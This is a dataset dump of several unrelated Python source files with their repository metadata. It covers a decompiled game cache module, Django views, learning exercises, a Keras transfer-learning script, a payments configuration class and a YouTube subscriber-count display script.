self.__postTask(url, None, True)
return
if ctime - _MIN_LIFE_TIME <= expires <= ctime + _MAX_LIFE_TIME + _MIN_LIFE_TIME:
LOG_DEBUG('postTask, Sends file to requester.', url, last_modified, data[0])
self.__postTask(url, file, True)
else:
if showImmediately:
LOG_DEBUG('postTask, Do not release callbacks. Sends file to requester.', url, last_modified, data[0])
self.__postTask(url, file, False)
LOG_DEBUG('readRemoteFile, there is file in cache, check last_modified field.', url, last_modified, data[0])
self.__readRemoteFile(url, last_modified, showImmediately)
elif checkedInCache:
LOG_DEBUG('readRemoteFile, there is no file in cache.', url)
self.__readRemoteFile(url, None, False)
else:
LOG_DEBUG('checkFile. Checking file in cache.', url, showImmediately)
self.__checkFile(url, showImmediately)
finally:
self.__mutex.release()
return
def __idle(self):
try:
self.__mutex.acquire()
cache = self.__cache
accessed_cache = self.__accessedCache
ctime = getSafeDstUTCTime()
for k, v in accessed_cache.items():
if v and abs(ctime - v) >= _LIFE_TIME_IN_MEMORY:
cache[k] = None
accessed_cache.pop(k, None)
LOG_DEBUG('Idle. Removing old file from memory.', k)
finally:
self.__mutex.release()
self.__startTimer()
return
def __readLocalFile(self, url, showImmediately):
task = {'opType': CFC_OP_TYPE.READ,
'db': self.__db,
'name': base64.b32encode(url),
'callback': partial(self.__onReadLocalFile, url, showImmediately)}
self.__worker.add_task(task)
def __onReadLocalFile(self, url, showImmediately, file, d1, d2):
data = file
try:
crc, f, ver = data[2:5]
if crc != binascii.crc32(f) or _CACHE_VERSION != ver:
LOG_DEBUG('Old file was found.', url)
raise Exception('Invalid data.')
except:
data = None
try:
hash = base64.b32encode(url)
self.__mutex.acquire()
cache = self.__cache
if data is not None:
cache[hash] = data
else:
cache.pop(hash, None)
self.__accessedCache.pop(hash, None)
finally:
self.__mutex.release()
self.__get(url, showImmediately, True)
return
def __checkFile(self, url, showImmediately):
task = {'opType': CFC_OP_TYPE.CHECK,
'db': self.__db,
'name': base64.b32encode(url),
'callback': partial(self.__onCheckFile, url, showImmediately)}
self.__worker.add_task(task)
def __onCheckFile(self, url, showImmediately, res, d1, d2):
if res is None:
self.__postTask(url, None, True)
return
else:
if res:
try:
hash = base64.b32encode(url)
self.__mutex.acquire()
self.__cache[hash] = None
finally:
self.__mutex.release()
self.__get(url, showImmediately, True)
return
def __readRemoteFile(self, url, modified_time, showImmediately):
task = {'opType': CFC_OP_TYPE.DOWNLOAD,
'url': url,
'modified_time': modified_time,
'callback': partial(self.__onReadRemoteFile, url, showImmediately)}
self.__worker.add_task(task)
def __onReadRemoteFile(self, url, showImmediately, file, last_modified, expires):
if file is None and last_modified is None:
if showImmediately:
LOG_DEBUG('__onReadRemoteFile, Error occurred. Release callbacks.', url)
self.__processedCache.pop(url, None)
else:
self.__postTask(url, None, True)
return
else:
hash = base64.b32encode(url)
ctime = getSafeDstUTCTime()
fileChanged = False
try:
self.__mutex.acquire()
cache = self.__cache
if file is None and last_modified is not None:
value = cache.get(hash, None)
if value is None:
LOG_WARNING('File is expected in cache, but there is no file')
self.__postTask(url, None, True)
return
crc, file = value[2:4]
else:
crc = binascii.crc32(file)
fileChanged = True
packet = (expires,
ctime,
crc,
file,
_CACHE_VERSION,
last_modified)
cache[hash] = packet
finally:
self.__mutex.release()
LOG_DEBUG('writeCache', url, last_modified, expires)
self.__writeCache(hash, packet)
if showImmediately and not fileChanged:
LOG_DEBUG('__onReadRemoteFile, showImmediately = True. Release callbacks.', url)
self.__processedCache.pop(url, None)
else:
self.__get(url, False, True)
return
def __prepareCache(self):
try:
cacheDir = self.__cacheDir
if not os.path.isdir(cacheDir):
os.makedirs(cacheDir)
filename = os.path.join(cacheDir, 'icons')
self.__db = provider.open(filename, flag='c', writeback=True)
except:
LOG_CURRENT_EXCEPTION()
def __writeCache(self, name, packet):
if name in self.__written_cache:
return
self.__written_cache.add(name)
task = {'opType': CFC_OP_TYPE.WRITE,
'db': self.__db,
'name': name,
'data': packet,
'callback': partial(self.__onWriteCache, name)}
self.__worker.add_task(task)
def __onWriteCache(self, name, d1, d2, d3):
self.__written_cache.discard(name)
def __postTask(self, url, file, invokeAndReleaseCallbacks):
BigWorld.callback(0.001, partial(self.__onPostTask, url, invokeAndReleaseCallbacks, file))
def __onPostTask(self, url, invokeAndReleaseCallbacks, file):
if invokeAndReleaseCallbacks:
cbs = self.__processedCache.pop(url, [])
else:
cbs = self.__processedCache.get(url, [])
for cb in cbs:
cb(url, file)
# okay decompyling c:\Users\PC\wotsources\files\originals\res\scripts\client\account_helpers\customfilescache.pyc
# decompiled 1 files: 1 okay, 0 failed, 0 verify failed
# 2016.08.04 19:47:57 Střední Evropa (letní čas)
| [
"info@webium.sk"
] | info@webium.sk |
14961e21699bc8361368a4d2cdb64cac51864a02 | af573b5db79f10b8d93a1fec8808cb5dfe666eff | /imageFinder/tools/views.py | 262f53b5b1b6edddf058125a3e087ef4a6b48bcc | [] | no_license | kevkid/YIF | a9739e9295030bc5b22551ff9b65f57af465b695 | 709f61f44743be5a69da9fb283536d5b3ddd2d59 | refs/heads/master | 2020-04-12T07:21:58.559035 | 2020-03-06T20:19:53 | 2020-03-06T20:19:53 | 62,367,716 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,844 | py | import os
from web.models import Image, Classes
from django.shortcuts import get_object_or_404, render
from django.http import HttpResponseRedirect, HttpResponse
from django.core.urlresolvers import reverse
from django.conf.urls.static import static
from imageFinder.settings import STATIC_URL, STATIC_IMAGES
from django.contrib.staticfiles.templatetags.staticfiles import static
import tools, web
# Create your views here.
def index(request):
#lets get a random number going
return render(request, 'tools/index.html')#show the homePage
def ScanImages(request):
allImages = list(Image.objects.values_list('image_location', flat=True))
files = []
fileRoots = []
#path = STATIC_ROOT + 'web/images/'
pth = web.__path__[0] + "/static/web/images"#os.path.join(tools.__path__,"static/web/images")
for root, directories, filenames in os.walk(pth):#probably something wrong with the location
for filename in filenames:
files.append("images/" + filename)#temp, will need to chance
fileRoots.append(root)
matches = set(allImages).intersection(set(files))#get the matches
differenceDB_Matches = list(set(allImages) - (matches))
#if not in the list of files delete the image...
for item in differenceDB_Matches:
#to reduce latency
instance = Image.objects.get(image_location = item)
instance.delete()
#if in the file list and not in the matches add it to the db
differenceFiles_Matches = list(set(files) - set(matches))
for item in differenceFiles_Matches:
#to reduce latency
instance = Image(image_location=item)
instance.save()
return render(request, 'tools/ScanImages.html')#show the homePage
#return HttpResponseRedirect(reverse('tools:ScanImages', args=()))
| [
"kevin@Phantom"
] | kevin@Phantom |
6c6f0158a133d53785b286410755f200ac888fa6 | 59995c33bfc97aaac24693fc05e697b44260c2dd | /Learn-code-note/Python/Head-First-Python/Chapter-3/version-3.py | 1d4da7e64dc57c0b4c8da72c0d2b0c072825dfa4 | [] | no_license | 302wanger/Python-record | 6bfd0ff34f486d62a9b06f105e77f942f1afd035 | eac76cfd322a75bbb1ec7157a0877b2604daaddd | refs/heads/master | 2021-08-27T19:57:22.953766 | 2017-11-28T06:15:05 | 2017-11-28T06:15:05 | 112,293,509 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 619 | py | # -*- coding: utf-8 -*-
# 特定指定异常
# 比第二个版本多了个try/except，原因是要判断文件是否能打开
# 使用try/except可以让你关注代码真正要做的工作
# 而且可以避免向程序增加不必要的代码和逻辑。
try:
path = '//Users/wangyuan/Desktop/Learn-code-note/Python/Head-First-Python/Chapter-3/sketch.txt'
data = open(path, 'r')
for each_line in data:
try:
(role, line_spoken) = each_line.split(':', 1)
print(role)
print(' said: ')
print(line_spoken)
except ValueError:
pass
data.close()
except IOError:
print("The data file is missing!")
| [
"wangyuanfu315@gmail.com"
] | wangyuanfu315@gmail.com |
2c24254b0354d439e0c5b46198b0b3e896d9d36a | 17e6e6188a426eae2360f72bd89305a1b36382dd | /quiz20 2.py | cd60059378925e2be5d8b481bf8021e924c1ca9c | [] | no_license | manojputhalapattu/python | bdbf3fa4c9c6c740b1c67acc8d52a4d9fb29f628 | 674f23fef39aad3881fe8988eb2f126bfd636d7b | refs/heads/master | 2020-09-25T04:28:37.142342 | 2019-12-06T16:26:42 | 2019-12-06T16:26:42 | 225,917,538 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 136 | py | x=1
while x<=5:
print("*",end='')
y=1
while(y<=5):
print("*",end='')
y=y+1
x=x+1
print()
| [
"noreply@github.com"
] | noreply@github.com |
564872cb7da5965f0b12fed997e4dd289276360a | 9e56fedadfadc3787bcf501dcde4f0a6df68994b | /fanqizha/callinfo/modelpredictive.py | f66c7b0e2bc8d9fa6b40de96342cfc89788ca083 | [] | no_license | datadragon1363193649/datadragon | c70f3685c5189a78556636c1f70e0fcebaf62d1b | 125140e52a541c7d45f38c45e830443a58a6ae06 | refs/heads/master | 2021-09-15T16:53:33.004526 | 2018-06-07T09:38:22 | 2018-06-07T09:38:22 | 115,381,354 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,192 | py | # -*- cocoding: utf-8 -*-
import os
import sys
_abs_path = os.path.split(os.path.realpath(sys.argv[0]))[0]
apath = os.path.split(os.path.realpath(_abs_path))[0]
sys.path.append(apath)
from sklearn.pipeline import Pipeline
# from sklearn.linear_model import SGDClassifier
from sklearn.model_selection import GridSearchCV
import numpy as np
from sklearn.ensemble import GradientBoostingClassifier
from sklearn.ensemble import (RandomTreesEmbedding, RandomForestClassifier,
GradientBoostingClassifier)
from sklearn.linear_model import LogisticRegression
from sklearn.externals import joblib
import pandas as pd
from sklearn import cross_validation, metrics
import matplotlib.pylab as plt
from matplotlib.pylab import rcParams
import seaborn as sns
from sklearn.preprocessing import OneHotEncoder
from sklearn.metrics import roc_curve
from sklearn.externals import joblib
# lr是一个LogisticRegression模型
# joblib.dump(lr, 'lr.model')
# lr = joblib.load('lr.model')
import config.offline_db_conf as dconf
import pymongo as pm
import logging
joblib.load('/Users/ufenqi/Downloads/fanqizha/2017fanqizhamax/model/call.model')
logging.basicConfig(level=logging.DEBUG,
format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',
datefmt='%a, %d %b %Y %H:%M:%S',
filename=apath + '/log/' + dconf.log_filename,
filemode='a')
_debug = False
class Modelpredictive(object):
def __init__(self):
self.mhost1 = dconf.mg_host1
self.mhost2 = dconf.mg_host2
self.mreplicat_set = dconf.mg_replicat_set
self.mgdb = dconf.mg_db
self.mgcollection = dconf.mg_collection
self.mgcollectionrelation = dconf.mg_coll_relation
self.muname = dconf.mg_uname
self.mpasswd = dconf.mg_passwd
self.mgconn = None
self.init_mg_conn()
self.mysqlhost = dconf.mysql_host
self.mysqlport = dconf.mysql_port
self.mysqluser = dconf.mysql_user
self.mysqlpasswd = dconf.mysql_passwd
self.mysqldb = dconf.mysql_db
self.mysqlconn = None
self.init_mysql_conn()
self.featurename=[]
self.get_featurename()
self.featurevalue=[]
self.featurevaluelist = []
self.lr=None
# def init_mysql_conn(self):
# self.mysqlconn= MySQLdb.connect(host=self.mysqlhost, port=self.mysqlport, user=self.mysqluser, passwd=self.mysqlpasswd,
# db=self.mysqldb, charset="utf8")
def lode_model(self):
self.lr=joblib.load('/Users/ufenqi/Downloads/fanqizha/2017fanqizhamax/model/call.model')
def init_mg_conn(self):
self.mgconn = pm.MongoClient([self.mhost1, self.mhost2], replicaSet=self.mreplicat_set, maxPoolSize=10)
self.mgconn[dconf.mg_db].authenticate(self.muname, self.mpasswd)
def get_mg_conn(self):
mc = self.mgcollection
mdb = self.mgconn[self.mgdb]
return mdb[mc]
def get_mg_connrelation(self):
mc = self.mgcollectionrelation
mdb = self.mgconn[self.mgdb]
return mdb[mc]
def get_featurename(self):
aaa=1
def get_feature(self,phn):
cf = self.get_mg_conn(dconf.mg_coll_fea)
rs = cf.find({'_id': phn})
if not rs or rs.count() == 0:
# print rs
return 0
if 'call' in rs:
for fea in self.featurename:
if fea in rs['call']:
self.featurevalue.append(rs['call'][fea])
else:
self.featurevalue.append(-1)
else:
return 0
# 数据预处理
def get_ceiling(self):
aaa=1
# log处理和归一化处理
def get_loghandle(self):
aaa=1
# 分箱
def get_binning(self):
aaa=1
def fea_preprocessing(self):
self.get_ceiling()
self.get_loghandle()
self.get_binning()
def predictive_one(self):
self.lr.predict_proba(self.featurevalue)[:,1]
def predictive(self):
bb = 1
if __name__ == '__main__':
m=Modelpredictive()
phn='1'
m.get_feature(phn)
| [
"xuyonglong@jiandanjiekuan.com"
] | xuyonglong@jiandanjiekuan.com |
5afe25ed35a74d83494d0891f309246f59f0954f | 41be5fc78b1e9252e4cfe4d7adf98dceb944c4c9 | /argomenti.py | f66f6b44166bc6fdf88b09a60ac06142a7e31459 | [] | no_license | Klemici/corso-intro-python | 828eb9187cba183821b5d7bf66e25e179ba79306 | c35871aff9050f538c450158739abafaa196df6b | refs/heads/master | 2021-01-21T07:04:21.842082 | 2017-02-23T16:32:57 | 2017-02-23T16:32:57 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 92 | py | from sys import argv
script, name, age = argv
print 'Ciao %s, Hai %s anni' % (name, age)
| [
"klemici@outlook.com"
] | klemici@outlook.com |
e49a46bd598b2890f0a5b005daecd7631585b582 | 24230b116eaaf509c1076679d0fefbb0f96d4155 | /Ch10-shutil.py | e59746e0569b545530b797f53905e58b8e2cf8c1 | [] | no_license | kamchung322/AutomatePython | b2e168f6d02db06a652c481eb8dbbbd2abeef616 | d719cfa965b9e70acd8b98928a3b06ba2fba2be0 | refs/heads/master | 2021-04-04T05:21:40.622512 | 2020-03-25T09:24:22 | 2020-03-25T09:24:22 | 248,427,721 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,925 | py | import shutil, send2trash, os, zipfile
from pathlib import Path
def copySingleFile():
CWD = Path.cwd()
shutil.copy(CWD / 'Remark', CWD / 'Remark_Backup' )
def copyDir():
CWD = Path.cwd()
shutil.copytree(CWD, CWD/'Backup')
def renameFile():
# use move function to rename file name
CWD = Path.cwd()
shutil.move(CWD / 'Remark', CWD / 'Remark.txt')
def deleteFile():
print("use os.unlink('Path') to delete file")
print("use os.rmdir('Path') to delete folder")
print("use shutil.rmtree('Path') to delete folder, subfolder and file")
print("use send2trash module to safely delete file")
def send2trashFile():
#ERROR
CWD = Path.cwd()
send2trash.send2trash(CWD / 'Remark_Backup')
def loopFolder():
for folderName, subFolders, fileNames in os.walk(Path.cwd()):
print("The current folder is %s" %folderName)
for sFolder in subFolders:
print("SubFolder is %s" %sFolder)
for fName in fileNames:
print("File inside %s" %fName)
def createZipFile():
zipFilePath = r"C:\TEMP\AutomatePython.zip"
currentDir = Path.cwd()
newZipFile = zipfile.ZipFile(zipFilePath, "w")
for fileName in os.listdir(currentDir):
addFilePath = str(currentDir) + "\\" + fileName
newZipFile.write(fileName , compress_type=zipfile.ZIP_DEFLATED)
newZipFile.close()
def readZipFile():
zipFilePath = r"C:\TEMP\AutomatePython.zip"
newZipFile = zipfile.ZipFile(zipFilePath)
print(list(newZipFile.namelist()))
def extractZipFile():
zipFilePath = r"C:\TEMP\AutomatePython.zip"
newZipFile = zipfile.ZipFile(zipFilePath)
newZipFile.extractall(r"C:\TEMP\Auto")
# OR Extract singel file
# newZipFile.extrat("FileInsideZip")
newZipFile.close()
createZipFile()
#extractZipFile()
#readZipFile()
#loopFolder()
#send2trashFile()
#renameFile()
#copyDir()
#copySingleFile() | [
"kamchung322@gmail.com"
] | kamchung322@gmail.com |
c27fbb4d69410fb5cf725de53194f9c56c32cab0 | bd24ac1c323245878ff14bf3cbb511b15b36503d | /modules/solver.py | 6f88bb54bce25e3b6904f1aeb0173de6e51518f1 | [
"MIT"
] | permissive | liupeng0606/SARAS-ESAD-Baseline | 22cc2c5c685ad50656d0b4df0f394903a406a55d | 3696e77ffbe9f10f18a2a9e1ac74f0b09076e6b0 | refs/heads/master | 2022-10-24T14:27:59.622404 | 2020-06-16T08:21:40 | 2020-06-16T08:21:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,922 | py | import torch, pdb
import torch.optim as optim
# from .madamw import Adam as AdamM
# from .adamw import Adam as AdamW
# from torch.optim.lr_scheduler import MultiStepLR
class WarmupMultiStepLR(torch.optim.lr_scheduler._LRScheduler):
def __init__(self, optimizer, milestones, gammas, last_epoch=-1):
self.milestones = milestones
self.gammas = gammas
assert len(gammas) == len(milestones), 'Milestones and gammas should be of same length gammas are of len ' + (len(gammas)) + ' and milestones '+ str(len(milestones))
super(WarmupMultiStepLR, self).__init__(optimizer, last_epoch)
def get_lr(self):
if self.last_epoch not in self.milestones:
return [group['lr'] for group in self.optimizer.param_groups]
else:
index = self.milestones.index(self.last_epoch)
return [group['lr'] * self.gammas[index] for group in self.optimizer.param_groups]
def print_lr(self):
print([[group['name'], group['lr']] for group in self.optimizer.param_groups])
def get_optim(args, net):
freeze_layers = ['backbone_net.layer'+str(n) for n in range(1, args.freezeupto+1)]
params = []
solver_print_str = '\n\nSolver configs are as follow \n\n\n'
for key, value in net.named_parameters():
if args.freezeupto>0 and (key.find('backbone_net.conv1')>-1 or key.find('backbone_net.bn1')>-1): # Freeze first conv layer and bn layer in resnet
value.requires_grad = False
continue
if key.find('backbone_net')>-1:
for layer_id in freeze_layers:
if key.find(layer_id)>-1:
value.requires_grad = False
continue
if not value.requires_grad:
continue
lr = args.lr
wd = args.weight_decay
if args.optim == 'ADAM':
wd = 0.0
if "bias" in key:
lr = lr*2.0
if args.optim == 'SGD':
params += [{"params": [value], "name":key, "lr": lr, "weight_decay":wd, "momentum":args.momentum}]
else:
params += [{"params": [value], "name":key, "lr": lr, "weight_decay":wd}]
print_l = key +' is trained at the rate of ' + str(lr)
print(print_l)
solver_print_str += print_l + '\n'
if args.optim == 'SGD':
optimizer = optim.SGD(params)
elif args.optim == 'ADAM':
optimizer = optim.Adam(params)
# elif args.optim == 'ADAMW':
# optimizer = AdamW(params)
# elif args.optim == 'ADAMM':
# optimizer = AdamM(params)
else:
error('Define optimiser type ')
solver_print_str += 'optimizer is '+ args.optim + '\nDone solver configs\n\n'
scheduler = WarmupMultiStepLR(optimizer, args.milestones, args.gammas)
return optimizer, scheduler, solver_print_str | [
"guru094@gmail.com"
] | guru094@gmail.com |
c019e47f0ff83cf6dcdb0d544128652acf3ae52c | 0cf6728548830b42c60e37ea1c38b54d0e019ddd | /Learning_MachineLearning/DeepLearningWithPython/5.3.py | 0f1e218f44d0b1287be5fb399e830a0c97bf75a1 | [] | no_license | MuSaCN/PythonLearning | 8efe166f66f2bd020d00b479421878d91f580298 | 507f1d82a9228d0209c416626566cf390e1cf758 | refs/heads/master | 2022-11-11T09:13:08.863712 | 2022-11-08T04:20:09 | 2022-11-08T04:20:09 | 299,617,217 | 2 | 2 | null | null | null | null | UTF-8 | Python | false | false | 5,734 | py | # Author:Zhang Yuan
from MyPackage import *
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import matplotlib.patches as patches
import seaborn as sns
import statsmodels.api as sm
from scipy import stats
#------------------------------------------------------------
__mypath__ = MyPath.MyClass_Path("\\DeepLearningWithPython") # 路径类
myfile = MyFile.MyClass_File() # 文件操作类
myword = MyFile.MyClass_Word() # word生成类
myexcel = MyFile.MyClass_Excel() # excel生成类
mytime = MyTime.MyClass_Time() # 时间类
myplt = MyPlot.MyClass_Plot() # 直接绘图类(单个图窗)
mypltpro = MyPlot.MyClass_PlotPro() # Plot高级图系列
myfig = MyPlot.MyClass_Figure(AddFigure=False) # 对象式绘图类(可多个图窗)
myfigpro = MyPlot.MyClass_FigurePro(AddFigure=False) # Figure高级图系列
mynp = MyArray.MyClass_NumPy() # 多维数组类(整合Numpy)
mypd = MyArray.MyClass_Pandas() # 矩阵数组类(整合Pandas)
mypdpro = MyArray.MyClass_PandasPro() # 高级矩阵数组类
myDA = MyDataAnalysis.MyClass_DataAnalysis() # 数据分析类
# myMql = MyMql.MyClass_MqlBackups() # Mql备份类
# myMT5 = MyMql.MyClass_ConnectMT5(connect=False) # Python链接MetaTrader5客户端类
# myDefault = MyDefault.MyClass_Default_Matplotlib() # matplotlib默认设置
# myBaidu = MyWebCrawler.MyClass_BaiduPan() # Baidu网盘交互类
# myImage = MyImage.MyClass_ImageProcess() # 图片处理类
myBT = MyBackTest.MyClass_BackTestEvent() # 事件驱动型回测类
myBTV = MyBackTest.MyClass_BackTestVector() # 向量型回测类
myML = MyMachineLearning.MyClass_MachineLearning() # 机器学习综合类
mySQL = MyDataBase.MyClass_MySQL(connect=False) # MySQL类
mySQLAPP = MyDataBase.MyClass_SQL_APPIntegration() # 数据库应用整合
myWebQD = MyWebCrawler.MyClass_QuotesDownload(tushare=False) # 金融行情下载类
myWebR = MyWebCrawler.MyClass_Requests() # Requests爬虫类
myWebS = MyWebCrawler.MyClass_Selenium(openChrome=False) # Selenium模拟浏览器类
myWebAPP = MyWebCrawler.MyClass_Web_APPIntegration() # 爬虫整合应用类
myEmail = MyWebCrawler.MyClass_Email() # 邮箱交互类
myReportA = MyQuant.MyClass_ReportAnalysis() # 研报分析类
myFactorD = MyQuant.MyClass_Factor_Detection() # 因子检测类
myKeras = MyDeepLearning.MyClass_Keras() # Keras综合类
#------------------------------------------------------------
#%%
from tensorflow.keras.applications import VGG16
conv_base = VGG16(weights='imagenet',
include_top=False,
input_shape=(150, 150, 3))
#%%
conv_base.summary()
#%%
import os
import numpy as np
original_dataset_dir = os.path.expandvars('%USERPROFILE%')+'\\.kaggle\\dogs-vs-cats'
base_dir = original_dataset_dir+'\\cats_and_dogs_small'
train_dir = os.path.join(base_dir, 'train')
validation_dir = os.path.join(base_dir, 'validation')
test_dir = os.path.join(base_dir, 'test')
# 使用已知模型快速特征提取
train_features, train_labels = myKeras.extract_features_from_directory(conv_base,train_dir,2000,batch_size=20)
validation_features, validation_labels = myKeras.extract_features_from_directory(conv_base,validation_dir,1000,batch_size=20)
test_features, test_labels = myKeras.extract_features_from_directory(conv_base,test_dir,1000,batch_size=20)
#%%
reshapecount = np.array(train_features.shape[1:]).cumprod()[-1]
train_features = np.reshape(train_features, (2000, reshapecount))
validation_features = np.reshape(validation_features, (1000, reshapecount))
test_features = np.reshape(test_features, (1000, reshapecount))
#%%
from tensorflow.keras import models
from tensorflow.keras import layers
from tensorflow.keras import optimizers
model = models.Sequential()
model.add(layers.Dense(256, activation='relu', input_dim=4 * 4 * 512))
model.add(layers.Dropout(0.5)) #（注意要使用 dropout 正则化）
model.add(layers.Dense(1, activation='sigmoid'))
model.compile(optimizer=optimizers.RMSprop(lr=2e-5),
loss='binary_crossentropy',
metrics=['acc'])
history = model.fit(train_features, train_labels,
epochs=30,
batch_size=20,
validation_data=(validation_features, validation_labels))
myKeras.plot_acc_loss(history)
#%%
myKeras.clear_session()
from tensorflow.keras import models
from tensorflow.keras import layers
model = models.Sequential()
model.add(conv_base)
model.add(layers.Flatten())
model.add(layers.Dense(256, activation='relu'))
model.add(layers.Dense(1, activation='sigmoid'))
#%%
model.summary()
#%%
# 冻结conv_base网络
print('This is the number of trainable weights '
'before freezing the conv base:', len(model.trainable_weights))
conv_base.trainable = False
print('总共有 4 个权重张量，每层2个（主权重矩阵和偏置向量）。', len(model.trainable_weights))
#%%
model.compile(loss='binary_crossentropy',
optimizer=optimizers.RMSprop(lr=2e-5),
metrics=['acc'])
model,history = myKeras.cnn2D_fit_from_directory(model,train_dir,validation_dir,augmentation=True,flow_batch_size=20,epochs=30,plot=True)
#%%
myKeras.plot_acc_loss(history)
model.save(base_dir+'\\cats_and_dogs_small_3.h5')
#%%
conv_base.summary()
#%%
conv_base = myKeras.fine_tune_model(conv_base,'block5_conv1')
#%%
model.compile(loss='binary_crossentropy',
optimizer=optimizers.RMSprop(lr=1e-5),
metrics=['acc'])
model,history = myKeras.cnn2D_fit_from_directory(model,train_dir,validation_dir,augmentation=True,flow_batch_size=20,epochs=30,plot=True)
#%%
model.save(base_dir+'\\cats_and_dogs_small_4.h5')
#%%
myKeras.cnn2D_evaluate_from_directory(model,test_dir,flow_batch_size=20,steps=50)
| [
"39754824+MuSaCN@users.noreply.github.com"
] | 39754824+MuSaCN@users.noreply.github.com |
fd7663c74ab7441e0d5e4e98c3e5a02023c432b6 | 48983b88ebd7a81bfeba7abd6f45d6462adc0385 | /HakerRank/data_structures/trees/tree_top_view.py | 54610fe4a1f57e64ca716708d368bed09f4c0f84 | [] | no_license | lozdan/oj | c6366f450bb6fed5afbaa5573c7091adffb4fa4f | 79007879c5a3976da1e4713947312508adef2e89 | refs/heads/master | 2018-09-24T01:29:49.447076 | 2018-06-19T14:33:37 | 2018-06-19T14:33:37 | 109,335,964 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 546 | py | # author: Daniel Lozano
# source: HackerRank ( https://www.hackerrank.com )
# problem name: Data Structures: Trees: Top View
# problem url: https://www.hackerrank.com/challenges/tree-top-view/problem
def topView(root):
instance = root
if not root:
return
answer = [instance.data]
while instance.left:
answer.append(instance.left.data)
instance = instance.left
answer.reverse()
while root.right:
answer.append(root.right.data)
root = root.right
print " ".join(map(str, answer))
| [
"lozanodaniel02@gmail.com"
] | lozanodaniel02@gmail.com |
d5639a38d46c8ca185577e305802ad1d23d806ac | 5b62cd5c19ebc179b97104b46b714c876d1f4968 | /payments_configuration/payments_configuration.py | 7b187fab6fe6e1de2ff06f6bdf6802227b4b0b38 | [] | no_license | dgvicente/acme_payments | 0a457839736f10cb0c968aa73ecd85bea2ebd145 | 501c4b2656711745f4b526a2cc10a6bc20a0a84a | refs/heads/master | 2020-07-27T17:04:41.035655 | 2019-09-20T00:06:39 | 2019-09-20T00:06:39 | 209,165,339 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 836 | py | from .payments_configuration_entry import PaymentsConfigurationEntry
class PaymentsConfiguration:
def __init__(self, weekdays, weekends):
self.weekdays_config = [PaymentsConfigurationEntry(item) for item in weekdays if item] if weekdays else []
self.weekend_config = [PaymentsConfigurationEntry(item) for item in weekends if item] if weekends else []
def get_hours_for(self, question_hour_item):
entries_source = self.weekdays_config if question_hour_item.is_weekday() else self.weekend_config
hours = []
for entry in entries_source:
hours_for_entry = entry.get_hours_contained(question_hour_item.initial_time, question_hour_item.end_time)
if hours_for_entry:
hours.append({'rate': entry.amount, 'hours': hours_for_entry})
return hours
| [
"dianagv@gmail.com"
] | dianagv@gmail.com |
60439f893682ea05faf93e8d2f99a32f19f70f81 | 05551338203763bad453a2264c5b6582d725ed3d | /MusicAnalyser/wsgi.py | dbc7c190ac92f348379d612961c9d6b364a84d37 | [] | no_license | ShivayaDevs/MusicAnalyser | 51e553c138ee5e05b9b9c8ec19e10e5594a6d05d | b86abceebb1c11e938af43747dca4512ecb00ca3 | refs/heads/master | 2021-01-22T18:23:31.125100 | 2017-03-17T19:05:33 | 2017-03-17T19:05:33 | 85,077,721 | 5 | 2 | null | 2017-03-17T06:19:51 | 2017-03-15T13:47:18 | Python | UTF-8 | Python | false | false | 404 | py | """
WSGI config for MusicAnalyser project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.10/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "MusicAnalyser.settings")
application = get_wsgi_application()
| [
"verma.yash8@gmail.com"
] | verma.yash8@gmail.com |
998bbd1f2c9cba66553dc8f643a0380cbf6edcbc | c8388bb33ffbfa74e5babae5159029fa99248a92 | /SubscriberCount_Raspberrypi/getSubs.py | b322a11ec5202e3badaf3b34b42f89e636e827e4 | [
"MIT"
] | permissive | tieum/SevenSegments | 994054a38dfa96348d458175272522acbb76fd8b | 7a7c596bc21bd285c1260418a5a54cd365b2fa77 | refs/heads/master | 2022-11-20T05:11:29.529024 | 2020-07-22T05:56:06 | 2020-07-22T05:56:06 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,712 | py | #!/usr/bin/python
"""
Get the Youtube subscriber count from google.apis and send it to the display every 60s.
Loops until killed.
You will need to get your own API-Key from google but that is quite simple. Google it ;)
"""
import urllib, json, time
import sys, traceback
import serial
urlYT = "https://www.googleapis.com/youtube/v3/channels?part=statistics&id=<YOUR_CHANNEL_ID>&fields=items/statistics/subscriberCount&key=<YOUR_API_KEY>"
urlIG = "https://www.instagram.com/<YOUR_IG_HANDLE>/"
def getCountYT():
response = urllib.urlopen(urlYT)
data = json.loads(response.read())
return int(data["items"][0]["statistics"]["subscriberCount"])
def getCountIG():
""" this doesn't work for long. after a short while the Instagram servers will stop replying to this request """
response = urllib.urlopen(urlIG)
data = response.read()
data = data.split('window._sharedData = ')
data = data[1].split(';</script>')
data = json.loads(data[0])
return int(data['entry_data']['ProfilePage'][0]['graphql']['user']['edge_followed_by']['count'])
def updateCounter(count):
uart.write('$D%05d\n'%count)
return
lastSubs = 0
uart = serial.Serial('/dev/ttyAMA0', baudrate=9600) # Raspberry Pi serial port
while(1):
subscriberCount = lastSubs
try:
subscriberCount = getCountYT()
#subscriberCount = getCountIG()
except Exception as e:
print "couldn't get count"
traceback.print_exc(file=sys.stdout)
print time.strftime("%Y-%m-%d %H:%M:%S", time.gmtime()), "subs =", subscriberCount
if subscriberCount != lastSubs:
updateCounter(subscriberCount)
lastSubs = subscriberCount
time.sleep(60)
| [
"florian.pubhooyah@gmail.com"
] | florian.pubhooyah@gmail.com |
